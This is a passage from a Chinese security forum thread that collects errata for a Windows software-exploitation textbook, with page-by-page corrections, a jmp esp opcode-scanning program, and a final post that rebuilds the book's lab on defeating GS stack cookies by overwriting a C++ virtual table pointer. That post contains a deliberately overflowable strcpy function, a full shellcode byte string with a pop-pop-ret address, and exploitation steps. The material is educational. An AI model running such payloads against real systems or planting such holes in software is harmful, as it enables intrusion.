能力值:
( LV2,RANK:10 )
|
-
-
26 楼
26页,倒数第七行,http://www.vmware.cn/并不是vmware的网站。官方网站中文首页应为:http://www.vmware.com/cn/
|
能力值:
( LV4,RANK:50 )
|
-
-
27 楼
p118 shellcode少一个\x90结束标记,解码会不正确
p120 stosd/stosb是把al/eax中的内容放入edi,书中写反
|
能力值:
( LV2,RANK:10 )
|
-
-
28 楼
p81
要想使exploit不致与10次……
要想使exploit不至与10次……
p90
表5-2-2
倒数第二行
MOV EAX,0x7C81CDDA
DA掉了
|
能力值:
( LV2,RANK:10 )
|
-
-
29 楼
93页 最右下那个图是不是画错了?前面介绍shellcode布置在缓冲区的前端,离栈顶较远,但实际图上表明是较近啊,那些new data应该和shellcode换个位置吧?
|
能力值:
( LV2,RANK:10 )
|
-
-
30 楼
P51图4.2.1 形参,不是行参....
|
能力值:
( LV12,RANK:441 )
|
-
-
31 楼
P178 图片
原文 0x7FFD20F
更正 0x7FFDF020
P153第八行
原文 0x00401016
更正 0x00401046
P21
反汇编功能处重复了……前一页已经有了……
|
能力值:
( LV3,RANK:20 )
|
-
-
32 楼
找不到ollyuni.dll下载!!!!!!而且书中的找esp地址的程序在电脑上始终有错,这又是为什么呢?
|
能力值:
( LV2,RANK:10 )
|
-
-
33 楼
书确实不错,由浅入深,读起来不吃力,适合我这样的新手
|
能力值:
(RANK:350 )
|
-
-
34 楼
书中metasploit在某两页曾被错写为meatsploit、matesploit(大概是P225之后一点)
|
能力值:
( LV3,RANK:30 )
|
-
-
35 楼
第272页 表12-2-1倒数第三行中的URL是不是少了三个字母“org”?
|
能力值:
( LV4,RANK:50 )
|
-
-
36 楼
p138
从下向上数第二行
;jz call_loop
|
能力值:
( LV2,RANK:10 )
|
-
-
37 楼
83页的图5.2.3在中间的是“返回地址(jmp esp)到了最右面的是(jump ESP)了。
|
能力值:
( LV2,RANK:10 )
|
-
-
38 楼
这个时候才知道!Good!
|
能力值:
( LV2,RANK:10 )
|
-
-
39 楼
很不错,对于我们这些入学者帮助很大.
|
能力值:
( LV3,RANK:30 )
|
-
-
40 楼
第284页函数原形定义错了,只有一个参数。
应该是
typedef void ( _stdcall *MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, LONG*, int);
|
能力值:
( LV2,RANK:10 )
|
-
-
41 楼
OD能不能用白色的背景啊,或者字体用白色,黑客帝国实在有点看不清
|
能力值:
( LV2,RANK:10 )
|
-
-
42 楼
chapter_05\5_2_locate_shellcode\5_2_search_opcode
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;是不是不用定义了,前面已经有定义了 printf("END OF 0x%x\n", address);
done_flag = true;
}
}
}
|
能力值:
( LV7,RANK:150 )
|
-
-
43 楼
是的。我也发现出错了, 而且目前还没有解决。不知道你解决了没?
是因为发生越界检查了嘛?
http://blog.sina.com.cn/s/blog_4a082449010115wq.html
但是无法找到确切的原因。
如有发现,还望告之,谢谢!!
|
能力值:
( LV7,RANK:150 )
|
-
-
44 楼
我也以为是重复定义的。
但是这段代码始终无法正常运行,都会爆出访问错误的。
mingwu环境和VS环境换了之后还是不行。
如有发现,还望告之!万分感谢!
|
能力值:
( LV6,RANK:80 )
|
-
-
45 楼
eastmaster 第284页函数原形定义错了,只有一个参数。 应该是 typedef void ( _stdcall *MYPROC)(L ...
第2版 P661也是
|
能力值:
( LV2,RANK:10 )
|
-
-
46 楼
emem...
最后于 2018-12-28 15:04
被zwfy编辑
,原因:
|
能力值:
( LV12,RANK:290 )
|
-
-
47 楼
P567: 这页最下方的shellcode的示例代码里的include有重复(这能算错误么??虽然不影响阅读)
|
能力值:
( LV12,RANK:290 )
|
-
-
48 楼
pureGavin
P567:
这页最下方的shellcode的示例代码里的include有重复(这能算错误么??虽然不影响阅读)
不好意思,发错了,这是加密与解密的错误。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
49 楼
P268 10.1 GS 安全编译选项的保护原理 security cookie: ``` 但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最 小,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下情况不会应用 GS。 (1)函数不包含缓冲区。 (2)函数被定义为具有变量参数列表。 (3)函数使用无保护的关键字标记 (4)函数在第一个语句中包含内嵌汇编代码。 (5)缓冲区不是 8 字节类型且大小不大于 4 个字节。 ``` 此处 【(2)函数被定义为具有变量参数列表。 】应更正为【具有可变长度参数列表】
|
能力值:
( LV2,RANK:10 )
|
-
-
50 楼
10.3 覆盖虚函数突破 GS(重构)
原书该节内容表达及截图不匹配,故动手调试程序,并附上一些附加信息,方便理解。
如果我们可以在程序检查 Security Cookie 之前劫持程序流程的话,就可以实现对程序的溢出了,而 C++的虚函数恰恰给我们提供了这么一个机会(对于虚函数溢出的原理大家可以参照 6.3 的内容)。
1. 示例代码#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void bar()
{
}
};
int main()
{
GSVirtual test;
test.gsv(
"\x04\x2b\x99\x7C"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
);
return 0;
}
对实验思路和代码简要解释如下。 (1)类 GSVirtual 中的 gsv 函数存在典型的溢出漏洞。 (2)类 GSVirtual 中包含一个虚函数 vir。 (3)当 gsv 函数中的 buf 变量发生溢出的时候有可能会影响到虚表指针,如果我们可以控制虚表指针,将其指向我们的可以控制的内存空间,就可以在程序调用虚函数时控制程序的流程。
说明: shellcode 中头部的 0x7C992B04 为“pop edi; pop esi; retn”指令的地址,不同版本的系统中该地址可能不同,如果您在其他版本中进行实验,可能需要重新设置此地址。
2. Security Cookie初始化
3. 查看内存布局为了能够精准地淹没虚函数表,我们需要搞清楚变量与虚表指针在内存中的详细布局,通过前面的分析可以知道当函数 gsv 传入参数的长度大于 200 个字节时,变量 buff 就会被溢出。先将 test.gsv 中传入参数修改为 199 个“\x90” +1 个“\0”,然后用 OllyDbg 加载程序,在执行完 strcpy 后暂停。
当前指令位置:
栈顶状态
0012FE98 == &vtab, vtab == 0x4021D0
栈风水
可以看出我们距离胜利的终点还有 20 个字节,只要参数长度再增加 20 个字节以上就可以改变虚表指针了。
0x12FF78(vtab[item]) - 0x12FE9C(buff) = 220B 注意超过20字节,会覆盖test.gsv() 函数的Security Cookie,虽然会覆盖,但并不影响shellcode执行,因为虚函数调用完成后才会检验Cookie, 而虚函数已经被shellcode劫持,因此不会验证Cookie
虚函数 vir()
4. shellcode定位变量 Buff 在内存的位置不是固定的,我们需要考虑一下如何让虚表指针[0012FF78]刚好指到 shellcode的范围内。通过对内存布局的分析,虽然变量 Buff 的位置不固定,但是gsv(char * src)参数0x00402100位于虚表(0x004021D0)附近:
0x004021D0 为虚表,指向虚函数vir(),当正常调用虚函数之前,获取该地址。 0x00402100 与 0x004021D0 相距较近,且0x004021D0为要覆盖的虚表,因此联想到 shellcode覆盖地址可仅patch 一个字节。
所以我们可以通过覆盖部分虚表指针的方法,让虚表指针指向参数src,在本实验中使用字符串结束符“\0”覆盖虚表指针的最低位即可让其指向原始参数的最前端。
0x12FF78 00 E4 21 40 --patch-> 00 00 21 40 ; patch(0x12ff79, 0)
5. 虚表调用逻辑利用
mov eax, [ebp-D4] |
栈数据被溢出为0x402100,该地址指向shellcode |
mov edx, [eax] |
获取shellcode地址 |
mov eax, [edx] |
shellcode首个DWORD作为地址获取,记为addr |
call eax |
调用addr |
因此shellcode首个DWORD需要构造为一个跳板地址,跳板完成后继续执行shellcode
6. 跳转指令选择
0x12FE84 0x40108F ; 指向call eax指令完成后的下一条指令 |
0x12FE88 0x00000000 |
0x12FE90 0x12FE9C ; 指向shellcode |
- shellcode 首个dword执行:
- 栈顶布局:
为控制EIP指向shellcode, 需要 构造“pop..pop...retn” 序列,shellcode首个DWORD需要构造的跳板地址依据此指令选择。
7. shellcode 布局
8. 溢出成功
- strcpy栈溢出后
此时vtab地址已经指向shellcode:
|
|
|